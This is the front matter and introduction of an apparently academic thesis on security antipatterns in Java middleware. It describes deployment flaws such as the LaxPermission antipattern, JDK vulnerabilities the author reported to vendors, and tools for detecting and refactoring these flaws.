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Zusammenfassung
Die Bedeutung der Programmiersprache JAVA als Baustein für Software-
entwicklungs- und Produktionsinfrastrukturen ist im letzten Jahrzehnt
stetig gestiegen. JAVA hat sich als bedeutender Baustein für die Pro-
grammierung von Middleware-Lösungen etabliert. Ebenfalls evident ist
die Verwendung von JAVA-Technologien zur Migration von existierenden
Arbeitsplatz-Anwendungen hin zu webbasierten Einsatzszenarien.
Parallel zu dieser Entwicklung hat sich die Rolle der IT-Sicherheit nicht
zuletzt aufgrund der Verdrängung von mainframe-basierten Systemen
hin zu verteilten Umgebungen verstärkt. Der Schutz von Vertraulichkeit,
Integrität und Verfügbarkeit ist seit einigen Jahren ein kritisches Allein-
stellungsmerkmal für den Markterfolg von Produkten. Verwundbarkeiten
in Produkten wirken mittlerweile indirekt über kundenseitigen Vertrau-
ensverlust negativ auf den wirtschaftlichen Erfolg der Softwarehersteller,
zumal der Sicherheitsgrad eines Systems durch die verwundbarste Kom-
ponente bestimmt wird.
Ein zentrales Ziel dieser Arbeit ist die Erkenntnis zu vermitteln, dass
die alleinige Nutzung einer als „sicher“ eingestuften Programmiersprache
nicht als alleinige Grundlage zur Erstellung von sicheren und vertrauens-
würdigen Anwendungen ausreicht. Vielmehr führt die Einbeziehung des
Bedrohungsmodells der Programmiersprache zu einer verbesserten Risi-
kobetrachtung, da die Angriffsfläche einer Anwendung detaillierter be-
schreibbar wird.
Die Entwicklung und fortschreitende Akzeptanz einer Programmier-
sprache führt zu einer Verbreitung von allgemein anerkannten Lösungs-
mustern zur Erfüllung wiederkehrender Qualitätsanforderungen.
xIm Bereich der Dienstqualitäten fördern „Gegenmuster“, d.h. nicht-
optimale Lösungen, die Entstehung von Strukturschwächen, welche in
der Domäne der IT-Sicherheit „Verwundbarkeiten“ genannt werden. Des
Weiteren ist die Einsatzumgebung einer Anwendung eine wichtige Ken-
ngrös¨e, um eine Bedrohungsanalyse durchzuführen, denn je nach Be-
schaffenheit der Bedrohungen im Zielszenario kann eine bestimmte Be-
nutzeraktion eine Bedrohung darstellen, aber auch einen erwarteten An-
wendungsfall charakterisieren.
Während auf der Modellierungsebene ein breites Angebot von Beispie-
len zur Umsetzung von Sicherheitsmustern besteht, fehlt es den Pro-
grammierern auf der Implementierungsebene häufig an ganzheitlichem
Verständnis. Dieses kann durch Beispiele, welche die Auswirkungen der
Verwendung von „Gegenmustern“ illustrieren, vermittelt werden.
Unsere Kernannahme besteht darin, dass fehlende Erfahrung der Pro-
grammierer bzgl. der Sicherheitsrelevanz bei der Wahl von Implemen-
tierungsmustern zur Entstehung von Verwundbarkeiten führt. Bei der
Vermittlung herkömmlicher Software-Entwicklungsmodelle wird die In-
tegration von praktischen Ansätzen zur Umsetzung von Sicherheitsan-
forderungen zumeist nur in Meta-Modellen adressiert. Zur Erweiterung
des Wirkungsgrades auf die praktische Ebene wird ein dreistufiger Ansatz
präsentiert.
Im ersten Teil stellen wir typische Sicherheitsprobleme von JAVA-An-
wendungen in den Mittelpunkt der Betrachtung, und entwickeln einen
standardisierten Katalog dieser „Gegenmuster“. Die Relevanz der einzel-
nen Muster wird durch die Untersuchung des Auftretens dieser in Stan-
dardprodukten verifiziert.
Der zweite Untersuchungsbereich widmet sich der Integration von Vor-
gehensweisen zur Identifikation und Vermeidung der „Sicherheits-Ge-
genmuster“ innerhalb des Software-Entwicklungsprozesses. Hierfür wer-
den zum einen Ansätze für die Analyse und Verbesserung von Imple-
mentierungsergebnissen zur Verfügung gestellt. Zum anderen wird, in-
xi
duziert durch die verbreitete Nutzung von Fremdkomponenten, die ar-
beitsintensive Auslieferungsphase mit einem Ansatz zur Erstellung ganz-
heitlicher Sicherheitsrichtlinien versorgt.
Da bei dieser Arbeit die praktische Verwendbarkeit der Ergebnisse eine
zentrale Anforderung darstellt, wird diese durch prototypische Werkzeuge
und nachvollziehbare Beispiele in einer dritten Perspektive unterstützt.
Die Relevanz der Anwendung der entwickelten Methoden und Werk-
zeuge auf Standardprodukte zeigt sich durch die im Laufe der Forschungs-
arbeit entdeckten Sicherheitsdefizite. Die Rückmeldung bei führenden
Middleware-Herstellern (Sun Microsystems, JBoss) hat durch gegensei-
tigen Erfahrungsaustausch im Laufe dieser Forschungsarbeit zu einer
messbaren Verringerung der Verwundbarkeit ihrer Middleware-Produkte
geführt.
Neben den erreichten positiven Auswirkungen bei den Herstellern der
Basiskomponenten sollen Erfahrungen auch an die Architekten und Ent-
wickler von Endprodukten, welche Standardkomponenten direkt oder in-
direkt nutzen, weitergereicht werden. Um auch dem praktisch inter-
essierten Leser einen möglichst einfachen Einstieg zu bieten, stehen die
Werkzeuge mit Hilfe von Fallstudien in einem praktischen Gesamtzu-
sammenhang. Die für das Tiefenverständnis notwendigen Theoriebe-
standteile bieten dem Software-Architekten die Möglichkeit sicherheit-
srelevante Auswirkungen einer Komponentenauswahl frühzeitig zu er-
kennen und bei der Systemgestaltung zu nutzen.

Abstract
The importance of JAVA as a programming and execution environment
has grown steadily over the past decade. Furthermore the IT industry has
adapted JAVA as a major building block for the creation of new middle-
ware as well as enabling technology to facilitate the migration of existing
applications towards web-driven environments.
Parallel in time the role of security in distributed environments has
gained attention, after a large amount of middleware applications replaced
enterprise-level mainframe systems. The perspectives on security Confi-
dentiality, Integrity and Availability are therefore critical for the success
of competiting in the market. The vulnerability level of every product is
determined by the weakest embedded component, and selling vulnerable
products can cause enormous economic damage to software vendors.
An important goal of this work is to create the awareness that usage of
a programming language, which is designed as being secure, is not suffi-
cient to create secure and trustworthy distributed applications. Moreover,
the incorporation of the threat model of the programming language im-
proves the risk analysis by allowing a better definition of the attack surface
of the application.
The evolution of a programming language leads towards common pat-
terns to provide reoccurring quality aspects. Suboptimal solutions, also
known as "antipatterns", are typical causes that create quality weaknesses
such as security vulnerabilities. Moreover, the exposure to a specific envi-
ronment is an important parameter for threat analysis, as code considered
secure in a specific scenario can cause unexpected risks when switching
the environment.
xiv
Antipatterns are a well established means on the abstractional level of
system modeling to educate about the effects of incomplete solutions,
which are also important in the later stages of the software development
process. Especially on the implementation level we see a deficit of helpful
examples, that would give programmers a better and holistic understand-
ing.
In our base assumption we link the missing experience of program-
mers regarding the security properties of using patterns within their code
to the creation of software vulnerabilities. Traditional software develop-
ment models focus on security properties only on the meta layer. To
transfer these efficiently to the practical level, we provide a three-staged
approach:
First, we focus on typical security problems within JAVA applications,
and develop a standardized catalogue of "antipatterns" with examples from
standard software products. Detecting and avoidance of these antipatterns
positively influences software quality.
We therefore focus, as second element of our methodology, on en-
hancement points to common models for the software development pro-
cess. These help to control and alert the occurrence of antipatterns during
development activities. This is on the one hand the coding phase and the
other hand the phase of component assembly, integrating own and third
party code.
Within the third part, and emphasizing the practical position of this
research, we implement prototypical tool support for the software devel-
opment phase. The practical findings of this research helped to enhance
the security of the standard JAVA platforms and JEE frameworks. We ver-
ified the relevance of our methods and tools by applying these to standard
software products leading to a measure reduction of vulnerabilities and in-
formation exchange with middleware vendors (Sun Microsystems, JBoss)
targeting runtime security.
Our goal is enabling software architects and software developers to ap-
xv
ply our findings on their environments developing end-user applications,
with embedded standard components. From a high-level perspective, soft-
ware architects profit from this work through the projection of the quality-
of-service goals to protection details. This supports their task of deriving
security requirements when selecting standard components. In order to
give implementation-near practitioners a helpful starting point to benefit
from our research we provide tools and case-studies to achieve security
improvements within their own code base.
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1 Introduction
The current chapter presents the central perspective of this thesis; illus-
trating the relationship between violations of security related program-
ming patterns (security antipatterns) and the resulting vulnerabilities in
productive computer programs.
The discussion path leads from the motivation to the problem area, then
from a description of the research methodology used to the practical re-
sults, illustrating examples of antipatterns we detected in current middle-
ware software products, complied by the corresponding refactorings.
From a theoretical point of view, this thesis aims to provide evidence
for research related to evaluate security issues in programming language
design and implementation while leading the path from security models
to the solution of security antipatterns.
For the practitioners including the range from the software architect to
the system programmer we use concrete examples to illustrate the danger
potential of a sole functional programming approach to system's security
that promote the creation of security antipatterns.
Having an emphasis on the practical implications of security antipat-
terns, we additionally provide concrete implementations that integrate
into existing frameworks to detect (we will derive the JDETECT toolset)
and to refactor antipatterns (JCHAINS). Although our implementations
work best when applied with the theoretical background in mind, they
also function as plugins to common frameworks, directly usable by prac-
titioners.
2 Introduction
1.1 Motivation
The avalanche of the Internet has moved the meaning of the majority of
computers from an isolated environment to an integrated component of a
global community shared the same network, which is the Internet. The in-
herent distribution has added additional complexity to the environments
that execute software programs. Despite the added requirements, orga-
nizations have to ensure their partners that their systems are still secure.
However, typical software development processes nowadays only support
developers to create programs to fulfill functional requirements only. The
developers only have a limited view on the later environment in which
their programs are performing. The transformations and the information
assets have to be protected appropriately Perks and Beveridge (2003) to
the importance of the data.
Having the functionality requirement solved was sufficient for early
computing environments that had no further environmental constraints,
such as the isolated PC typical in the 1980s. Peter Deutsch (Gosling, 2004)
has summarized the extra complexity in distributed environments by for-
mulating the typical fallacies that may cause problems in programs de-
signed solely for functionality:
• Latency is zero
• Bandwidth is infinite
• Topology does not change
• There is one administrator
• Transport cost is zero
• The network is homogeneous
• The network is reliable
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• The network is secure
These single items represent the typical non-functional requirements that
concern a software programmer. Nevertheless, the developers have to
contribute to the functional perspective of the resulting system.
In this discussion, we focus on the implications of the last of the falla-
cies: The network is secure.
The security of software programs is dependent of the effectiveness of
the protection against unauthorized use and access. To achieve this goal
it is necessary to block the functionality parts of the program from illegal
access imposed by attackers.
Distributed environments rely on communication. This involves trans-
fer of data between two or more partners over communication paths, so-
called channels. An unauthorized access occurs when a communication
partner tries to retrieve the data or trigger system functionality, in order
to extend his default privileges.
The unauthorized access becomes an attack when the action is based on
malicious intend. An attacker is therefore a new type of anonymous com-
munication partner typical to distributed systems. She/he performs or
triggers actions beyond the documented specifications of computer pro-
grams that endanger the foundations for secure operations, such as con-
dentiality, integrity, and availability (Gollmann, 1999).
The understanding and anticipation of the technical concepts of fraud
attempts is an important precaution for the secure productional operation
of a distributed system.
Despite the discussion and use of generative software production, the
human factor in programming still performs the most of the work in pro-
gramming new software programs. In addition, the programmer com-
munity has developed significant amounts of legacy systems still in a pro-
ductive state.
We focus of security problems in software systems that result from pro-
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gramming errors. These are usually not detectable when only testing their
functional interface. Programmers might be aware to security impacts of
particular programming style. Nevertheless, due to project planning ap-
proaches and other competitive influences, the time pressure to deliver
results is high. It is typical that once the programmers reach the imple-
mentation goals of the functional tasks, the work on the next functional
tasks starts to prevent a delayed shipment of the total software product.
This “functionality first approach” typically introduces a significant num-
ber of security related bugs, which are harmful for software in typical pro-
duction environments that typically do not conform to Deutsch's fallacies.
A safe implementation of the non-functional requirements frequently
moves to the maintenance stage, shipping corrected code in so-called fix-
packs or service-packs.
Saltman (1993) suggests a proper balance between the functional and
quality related requirements of an application. In this thesis we will de-
scribe an approach to overcome these shortcomings with this goal in mind,
we will suggest the flow of security artifacts based on recent research, in
this flow we will track and solve the tasks concerned with the detection
and elimination of security related antipatterns.
1.2 Problem Area
The term software architecture (Bosch, 2000) describes the steps and cri-
teria to find with the solutions for the non-functional or quality require-
ments of an application, such as maintainability, security, reliability, and
usability. It defines and delegates responsibilities to the appropriate com-
ponents to fulfill the quality requirements.
Following a top-down approach, the task of the implementation of a
functional requirement, or a non-functional requirement (such as secu-
rity) for a component is spreading into the implementation of sub-requi-
rements, which exist for the subcomponents.
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A software system is divisible in trusted and untrusted parts, which
leads to the notion of term trusted computing base. The trusted part typically
implements a larger set of security requirements than the untrusted part.
Distribution of requirements of a software system to components may
on the one hand organized horizontally by allocation of the sub-require-
ments on separate layers, ranging from system-near lower layers to user-
near higher layers. The ISO/OSI reference model is an example of this
separation approach. Vertical distribution on the other hand allocates the
responsibilities to fulfill the sub-requirements to separate locations.
Horizontal distribution allows programmers to satisfy the task of fulfill-
ing requirement of both the functional and the security dimension.
While providing a secure execution environment such as a trusted
computing base (TCB) (Gollmann, 1999) on lower layers (system
near) the application is allocated on the higher layers (near to the
user) and its state may only transform in the set of valid states that
are allowed by the underlying TCB.
Vertical distribution securely arranges the topology of systems. Assets
with a high need of confidentiality or availability are protected be-
hind a ring-like architecture of access facilities. Each ring or pro-
tection domain symbolizes a set of privileges needed to access the
assets in the protection domain. The enforcement of the ring-shape
typically bases on an interceptor pattern implementation that checks
the predefined security constraints needed to fulfill an operation. A
typical example is HTTPS client authentication, which requires a
successful certificate validation to allow a web browser access to a
web server.
Attackers typically do not approach systems by trying to break directly
the security precautions. More likely, they aim to explore covert and side
channels that lead into the protected part of the system. They use this un-
documented communication facility to instrument existing functionality
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to let it operate at their will. Attacks in layered systems such as business
applications on top of middleware are therefore subject to attacks on the
layer below (Gollmann, 1999). These are especially dangerous because they
aim to circumvent layer-specific precautions by manipulating and inject-
ing handcrafted data structures.
Security is an important issue in information systems from the early days
of distributed computing, where DCE (Tanenbaum, 1995) was one of the
first architectures to address major security requirements. Attacks have
become an emerging topic as an increasing number of business systems
provide services on public networks. The ubiquity of the Internet is in-
teresting for many companies to shorten the transaction times of their
existing business processes. Nevertheless, for serious business applica-
tions the functionality rst approach is not sufficient. This is the reason
that transport protocols such as HTTP (Fielding et al., 1999), IIOP (Ob-
ject Management Group, 1999), and SOAP (World Wide Web Consor-
tium, 2000) where later extended with encryption features. The enriched
versions provide secure functionality and are HTTPS (Rescorla, 2000),
IIOP/SSL (Visigenic Software, 1997) and the SOAP security extensions
(Damiani et al., 2002). They offer protection to assure service levels con-
cerning the confidentiality, integrity, and availability of enterprise level
systems. According to Schaad (2006) the following observations apply to
this category, emphasize the need for secure applications and motivate a
trade-off between functionality and security:
• Security is a mission-critical property of modern enterprise software
systems
• Basic security building blocks are available and ready to use
• Today's enterprise applications can, in general, be run securely, but
this requires large administrative effort and is subject to severe re-
strictions
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• Perimeter and communications security do not scale up to service-
oriented architectures
• Providing system security is a continuous activity and covers devel-
opment, deployment, and operations
• Providing security involves the user, the administrator and needs to
be manageable
• The quality of security solutions (in term of effectiveness and cor-
rectness) and its assurances become increasingly important
• Security increasingly becomes a development and engineering task
• Security is about tolerable risk, it therefore includes cost-benefit
considerations
Software vendors reacted to this growing demand for an increased se-
curity level in distributed systems by adapting their product portfolios.
Runtime environments for programming languages with embedded secu-
rity features like the JVM (JAVA Virtual Machine) (Lindholm and Yellin,
1997) by Sun Microsystems or the Microsoft CLR (Common Language
Runtime) (Meijer and Gough, 2001) emerged into the market.
These are the technical foundation for large-scale software development
frameworks like JEE (JAVA Enterprise Environment) (Shannon, 2003) and
.NET (Meijer and Szyperski, 2001). These provide a standardized ap-
proach to create business applications on top of these runtime environ-
ments. Both JEE and .NET-based systems rely on a base level of protec-
tion to the customer due to the range of their inherent security features
provided by the technical infrastructures, respectively the JVM and the
CLR.
While implementing features described in the requirement specifica-
tions, programmers, who are likely to still follow the functionality rst ap-
proach may introduce security shortcomings to the resulting code, which
causes vulnerabilities.
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The middleware platform that is focused as example throughout this
thesis is the JAVA 2 Runtime Environment (J2SE (Sun Microsystems,
2006b)), which provides a common runtime environment to execute JAVA
programs. It is a product offered originally by Sun Microsystems, but al-
ternative implementations are available from other vendors such as the
JVMs from IBM and BEA. After Sun Microsystems placed the most of the
components of their commercial JDK under the GPL in 2007, OpenJDK,
an open-source version of JAVA, is additionally available (Free Software
Foundation, 2006).
We focus on the JAVA programming language due to its ubiquity in
current software development projects. Applications designed in accor-
dance to the 100% pure JAVA paradigm (Sun Microsystems, 2000) are
executable on all platforms that are “Java-enabled" with a J2SE implemen-
tation. A substantial set of operating systems fulfills this criterion, in-
cluding Linux, most UNIX flavors, Microsoft Windows, OS/390 and Mac
OS. Major middleware systems like the Apache Tomcat Server, database
systems like IBM Cloudscape and the entire range of products that imple-
ment the J2EE specification (application servers such as JBoss or Apache
Geronimo) require the J2SE core as mandatory runtime environment.
This holds also for desktop applications like OpenOffice, Lotus Notes,
Eclipse, or JEdit, which are customizable through exposed JAVA applica-
tion programming interfaces (APIs).
To operate the described wide range of application types securely in ac-
cordance to confidentiality, integrity, and availability the JAVA runtime en-
vironment is equipped with a multi-layered set of security features, such
as the accessibility rules of the JAVA language and the embedded security
enforcement features like the Security Manager. This set of mechanisms
allows the contained execution of programs according to their protection
domain.
The Security Manager is an optional monitor that checks the secure
execution of a JAVA program. As a non-mandatory feature the unfortunate
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situation arises, that most JAVA applications omit to enable the available
protection features at all.
As stated before computer programs fulfill functional requirements in
the first place but have to comply to the non-functional requirements such
as security as well. Software requirements define which problem to solve
with a particular implementation. Programmers often address software
requirements mostly from the functional side and often omit to consider
the side effects of their algorithms. They observe the input to output rela-
tionship of their programs and therefore tend to ignore the non-functional
state area of their program code, such as security or performance.
In component-based systems such as an application based on JEE5 or
the CORBA component model (Object Management Group, 2002), the de-
ployed software is assembled from pre-build (the framework) components
and own parts.
A pattern is a common way to solve a problem repetitively (Gamma
et al., 1995). When building software a programmer has the choice to de-
sign an instance-specific solution or he may select a general pattern such
as architectural design principle or a well-proven algorithm. Following the
first alternative yields in a random balance of benefits and negative con-
sequences, whereas choosing an existing solution yields in a pattern or
in an antipattern. In the presented scenario, the programmer does solve
the functional problem but potentially introduces a set of security prob-
lems by omitting value checks. When the negative consequences exceed
the benefits, a solution becomes an antipattern. Therefore, also a pattern
applied to the wrong context can become an antipattern.
This thesis aims to evaluate the relationship between antipatterns and
their influence on secure system behavior. Saltzer and Schroeder (1975)
presented design principles to reduce the number of vulnerabilities re-
garding confidentiality, integrity, and availability of software:
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• Economy of Mechanism
• Fail-safe defaults
• Complete Mediation
• Open design
• Separation of privilege
• Least Privilege
• Least Common Mechanism
• Psychological Acceptancy
These principles are applicable to design and implementation of software
and aim to reduce the amount and the impact of security flaws. Patterns
derived from these principles designed to build secure systems are lo-
cated on different semantic layers. On the architectural level, Yoder and
Barcalow (1998) introduced a set of patterns that contribute to the security
of software systems:
• Secure Access Layer
• Single Access Point
• Check Point
• Roles
• Session
• Limited View
On the implementation level, it is possible to separate common secure
coding principles from programming-language specific recommendations.
For the JAVA platform, Sun Microsystems has published a set of secure
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coding guidelines (Sun Microsystems, 2002) that obey the introduced prin-
ciples and help the programmer to introduce the security patterns. For
other programming languages such as C, C++ (Viega and Messier, 2003),
PHP (Oertli, 2002) or Perl (Haworth, 2002) similar catalogs exist accord-
ing to the security philosophy of the specific programming language.
Independent from the chosen programming language the target en-
vironment of software also determines the potential threats. For web-
based application scenarios the Open Web Application Security Project
(OWASP) (Open Web Application Security Project, 2006) has listed the
Top-10 vulnerabilities.
Programmers apply refactorings to overcome antipatterns, by improv-
ing the relationship between the negative consequences and the benefits
of a solution.
A refactoring of a security antipattern transforms the suboptimal solu-
tion to a solution that enhances the support of security goals, without af-
fecting functional behavior. Similar to antipatterns refactorings are appli-
cable on multiple levels. Coding refactorings have a local impact whereas
big refactorings are located on the architectural level (Fowler, 1999).
Focused on the refactoring of security antipatterns, the relationship be-
tween antipatterns in coding and the resulting security violations is the
main concern of this thesis.
The cure for code-based security antipatterns are often bug fixes on the
local control flow level, such as adding value checks for parameters before
passing values to privileged blocks.
Despite the wide range of protection principles and patterns, attackers
seek to find ways to influence the behavior of the trusted computing base.
Existing vulnerabilities may allow injecting or exporting sensible inter-
nal data or perform illegal manipulation of the system state. According
to Lampson (1973a), communication channels into systems fall into two
categories:
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• Legitimate communication channels and
• Covert channels
Covert channels (Department of Defense (United States), 1985) between
separated systems are typically not documented in the design blueprint.
However, due to manipulation and monitoring of shared resources they
allow these systems to communicate. In other words, covert channels are
unwanted communication paths that do not appear on the design level but
are usable by implementation choices. Information, which is indirectly
available from a shared environment resource, helps an attacker to gather
information about a system. Therefore, covert channels are a violation of
the least common mechanism security principle.
Covert channels are only one example for antipatterns that threaten the
security of systems. We follow two root causes for the creation of antipat-
terns:
• Security-unaware implementation
• Security-unaware software development process
Security-unaware implementation The first cause for the identified an-
tipatterns is due to insecure coding. Due to its nature, middleware has
privileged access to shared resources such as communication channels
and data sources. Among other examples, we show how security-unaware
coding in the program code of middleware systems may lead to creation
of covert channels. These can be used by attackers to subvert established
the separation of protection domains used in JAVA based middleware.
Security-unawareness in the software development process The second
large issue discussed stems from security issues in the software develop-
ment process. The importance of security has not yet fully arrived in the
mainstream reference models for software engineering, which - like the
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UML (Object Management Group, 2005) - focus on the functional side of
software. However, research is underway like the SecureUML (Lodderst-
edt et al., 2002) approach to extend the base modeling facilities of UML to
overcome this shortcoming.
Microsoft introduced the Security Development (SDL), a security based
view on the complete software development lifecycle(Lipner and Howard,
2005). Howard and Leblanc (2002) and McGraw (2004) presented simi-
lar approaches. According to McGraw's comments on the initial require-
ments and use case definition phase, security comes into focus by defin-
ing potential abuse cases. These do not necessarily relate to the func-
tional use cases. The abuse case definition leads to the specification of
application-specific security requirements and a risk analysis. External
security reviews contribute to the definition of test plans. The following
security tests have differing goals compared to the functional tests. In-
stead of proving that all defined test cases work correctly, security tests
seek the one weak spot an attacker may use to penetrate the system. After
the implementation phase for the system has produced settled code struc-
tures, the code undergoes checks with static analysis tools (Viega et al.,
2000).
Depending on the given environment, tools like Splint for C code (Evans
and Larochelle, 2002) or the Programming Mistake Detector (PMD), which
is based on the analysis of JAVA source code (Tom Copeland, 2005), are
available. A step further goes FINDBUGS, which bases on analysis of JAVA
bytecode (Hovemeyer and Pugh, 2004). During our research, we devel-
oped custom FINDBUGS detectors allowing the detection of vulnerabilities
in the trusted libraries of the J2SE.
Runtime tests that base on an improved code base after static analysis
follow. The results allow assessing the risk level of the current implemen-
tation. As a final step in the lifecycle of secure software before shipping,
McGraw (2004) suggests to establish the step of penetration testing to find
weak spots in the dynamic behavior of the system. Penetration tests aim to
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detect the weak spots and break the systems security in a deployed produc-
tion environment. With our JDETECT extension to the FINDBUGS frame-
work, we provide developers with a set of tools that detects security weak
spots in the implementation.
After integrating patches that correct programming flaws found in a
penetration test, the software product should reach an acceptable security
level.
However, whether this security level fits to the real world requirements
is determined through the regular usage by the customers and the expo-
sure of the system to attackers. Even though COTS (Commercial, off-the-
shelf) software as the JAVA Development Kit (JDK) (McGraw and Viega,
1999) undergo intensive tests by vendor internal auditing projects, post-
ings on security mailing lists publish new vulnerabilities (SecurityFocus,
2006a) for these products on a daily basis. The software vendor may have
to release a patched version that typically includes implementation or con-
figuration refactorings on a smaller scale. Large-scale refactorings may
require architectural design changes, and vendors publish them with the
release of a new software version, that removes the root design cause for
potential vulnerabilities.
Whereas the initial phases before shipment allow deterministic resource
planning, the maintenance effort for providing patches is an unknown
parameter. However, reducing the attack surface has shown a positive
influence (Howard, 2004).
The generic secure software development lifecycle introduced by Mc-
Graw presents the activities on the vendor site, and does not detail the
deployment phase performed by the customer, which is essential when as-
sembling distributed systems, such as .NET (Meijer and Szyperski, 2001),
J2EE (Shannon, 2003) or CCM (Object Management Group, 2002) applica-
tions. By following the fail-safe default principle in the deployment phase,
a vendor can use the chance to define a set of default protection domains
for the components of the software systems. These considerations illus-
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trate that the causes for security problems are not solely resulting from
the development phase. Moreover, they are also derived during the de-
ployment phase.
1.3 Results
The presented concerns are the basis for the approaches developed in this
dissertation. To illustrate the identified problems we will present our find-
ings concerning the Sun JDK and other JAVA based middleware.
Through our findings, we illustrate that negligence of security consid-
erations throughout the deployment phase of JAVA software is a cause
for the LaxPermission antipattern. This means that all code of a system
runs in a single protection domain, a scenario that violates the least priv-
ilege principle. The LaxPermission antipattern provides an attacker with
the complete set of privileged functionality once he has found a way to
influence the system. Whereas the default definition of JAVA protection
domains introduce barriers on multiple levels before the attacker is able
to gain extended privileges and reach his goal.
With the JCHAINS (Schönefeld, 2004f) framework, which is an exten-
sion to the standard JAVA security framework, we provide a tool useful
in the application deployment step to determine the permission require-
ments of black-box components. This allows limiting the valid actions and
their attack surface. For example, the process of deriving an application-
specific permission set provides a refactoring for the LaxPermission an-
tipattern scenario.
The cures for code-based security antipatterns are often refactorings
that correct implementation flaws on the local control flow level. Never-
theless, a big refactoring such as the presented JCHAINS framework may
also promote the usage of the security manager architecture and the en-
forcement of a fine-grained policy and therefore support the goal to raise
the effectiveness of the existing JAVA security mechanisms.
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Antipatterns like the LaxPermission problem are a threat to the secure
usage of distributed systems. These systems aim to decompose the com-
plexity of the total system into smaller and controllable components. Like
teamworking colleagues, who have differing skills and assigned tasks,
work with each other to achieve a common goal during a project, coop-
erating components may have differing permissions but need to interact
with each other. Placing each of them in well-defined appropriate protec-
tion domains limits their danger potential to an acceptable level. This is
especially helpful with components that are not fully trusted as they may
stem from an anonymous source such as free component libraries (like
Sourceforge or the Apache Jakarta projects).
As an example, such a misfit may create a covert channel vulnerability,
illustrated by inappropriate default visibility settings of some static vari-
ables of the JDK-embedded libraries of the Apache Xalan (Apache Soft-
ware Foundation, 2006a) libraries XSLT (World Wide Web Consortium,
1999b) parser that are useful for an attacker to subvert the JRE security
precautions.
As standard component Xalan, deploys into the privileged LaxPermis-
sion protection domain of the JDK. Being equipped with elevated privi-
leges, it allowed attackers to compromise confidentiality and integrity of
the internal JDK state. This allows subverting the protection of confined
and shared environments such as the JAVA applet sandbox.
By using our antipattern detectors, we discovered that it is possible to
inject malicious interceptor methods into the calling patch of the trusted
parsing libraries provided by the J2SE. This violates the security goals of
confidentiality and integrity of the JAVA sandbox. These considerations
lead us to the thesis that our instruments are applicable in a generalized
form to provide a more efficient execution environment for JAVA applica-
tions as far as availability, privacy, and integrity is concerned.
This thesis aims to provide more than a summary of accepted papers as
it goes in detail and depth beyond the topics already presented on inter-
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national public conferences such as D-A-CH security (Schönefeld, 2004f),
DIMVA (Schönefeld, 2004a), RSA and Blackhat Briefings. In addition to
the range of accepted contributions to refereed industrial and academic
conferences, major publications as (Skoudis and Zeltser, 2003) and (Ku-
mar, 2003) have referenced parts of our research project. We published
a joint report with a leading security research agency (Schönefeld, 2003j)
that covers earlier parts of our work. The fact that projects that develop
industrial middleware components such as the Sun JDK (Sterbenz and
Lai, 2006; Nisewanger, 2007) and the JBoss (Fleury and Reverbel, 2003)
application server have gained a higher security level from our findings
underlines the relevance of the described research. By invitations for idea
exchange on the one hand by the JBoss Group in 2003 and on the other
hand by Sun Microsystems in 2005 our research received acknowledge-
ment from relevant software vendors.
1.4 Structure
The discussion starts with the introduction of the general principles of
security on a conceptual level. We then turn to the software engineering
domain where we focus on the necessary details of the software develop-
ment process. Furthermore, we focus on the concept of non-functional
requirements and design patterns. We then build on this foundation to
introduce the central terms antipatterns and refactorings, especially applied
to security in distributed systems.
After the introduction of these initial keywords, we leave the general
view on software development and turn towards the JAVA programming
language. We chose JAVA to illustrate our ideas and results, some of
which are generalizable to other confined programming environments.
We then introduce the security features of the JAVA programming lan-
guage and the associated execution environment. Having presented the
standard security features and APIs available for a JAVA programmer, we
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broaden our view towards underlying security concepts such as protection
domains, and class loading. We furthermore describe the use of bytecode
engineering to perform security-centric code audits.
We then illustrate a set of code-based antipatterns we identified whilst
analyzing the J2SE bytecode with our JDETECT framework. Each of these
antipatterns provides a detailed description of the problem area. The an-
tipattern documentation also includes the threat it embodies and the cho-
sen refactoring by Sun Microsystems.
Turning from implementation to deployment, we leave the level of byte-
code and other binary representations and turn towards our contribution
to the solution of the common deployment problem. This occurs whilst
defining protection domains for the set of components assembled to build
up an application. We therefore illustrate the problem area, the threats
imposed and present our JCHAINS framework as a refactoring proposal
as a solution to the LaxPermission antipattern.
To illustrate that our results do not only contribute to the refactoring
of code and deployment flaws in a single product, the JDK. We present a
range of use cases that illustrate our vulnerability findings in other JAVA-
based COTS products such as the JEE-Server JBoss, JEE-based application
frameworks and database products, for example an HSQLDB vulnerability
which affects OpenOffice (Mitre Corporation, 2007b).
By identifying security antipatterns and applying the proposed refactor-
ings, we provide the proof of a general applicability of our theses. As a the-
sis in practical informatics, this work needs to provide valid research but
also addresses the real-life problems of IT-Practitioners, such as program-
mers, security auditors and software architects. We therefore mainly use
the formalisms that best contribute to the understanding of the addressed
audience, which is source code and binary representation for implemen-
tation specific artifacts.
To address the demands of a wide range of potential readers we pro-
vide multiple recommended reading paths according to the exposure of
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the reader to the subjects presented here. The division of this work into
multiple parts eases the entry for the experienced software developer or
security architect to the core topics of this thesis as they may skip the first
part. However, the first part is the vehicle for any interested reader with-
out specialized knowledge to catch with the discussion presented by this
thesis.
The tools presented throughout this work aim to support practitioners
as well as researchers. Furthermore, they allow integration into existing
on the one hand into existing frameworks for enterprise software develop-
ment such as FINDBUGS and ANT. On the other hand we show runtime
extension hooks as the J2SE security manager. We summarize the work
with documents, which illustrate our own contributions to the security
community and by listing own and vendor-issued security advisories that
document the remediation effect of our research.

2 Foundations
This chapter describes the foundations of the separate topics of the follow-
ing discussion. The first sections present the basic terms of computer se-
curity, followed by important definitions about software architecture. The
introduction of patterns, antipatterns, and refactorings supplies the reader
with the foundations for structural design of component-based software
development.
2.1 Computer Security
This chapter serves as an entry into the discussion on security. In the next
paragraphs a brief overview over the discussion area in which we will use
the term security is given. This leads to specialized thoughts on security
in distributed systems.
The quality of software systems is dependent of the functional and the
non-functional attributes of the design model and the implementation
code. Functional attributes describe how the application adapts to the
application domain requirements, like whether the software supports a
specific legal procedure or allows calculation with multiple sets of curren-
cies.
2.1.1 Non-Functional Requirements
In addition to functional goals, the non-functional requirements define
how robust, scalable and secure an application behaves in the case of ex-
ternal events not specific to the application domain. These events relate
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to the non-functional characteristics of IT systems, the Qualities of Service
(QoS).
Providing robustness includes handling events of resource shortage,
like low disk space, damage to processing components like main boards.
Failover concepts like clustering or resource pooling help to prevent such
events.
Scalability is an issue when the storage or computing resources of an
existing application have reached their limit. In such an event, a scalable
application allows to react to an increased demand for the provided func-
tionality. The transparent addition of new processing facilities like serv-
ers or CPUs enables to distribute the processing load without the need to
change the code of the application or stop the application.
We use the next definition to describe the secure state of a system:
Definition 1 (Security (DoD)): A condition that results from the establishment
and maintenance of protective measures that ensure a state of inviolability from
hostile acts or inuences. (Department of Defense (United States), 2008)
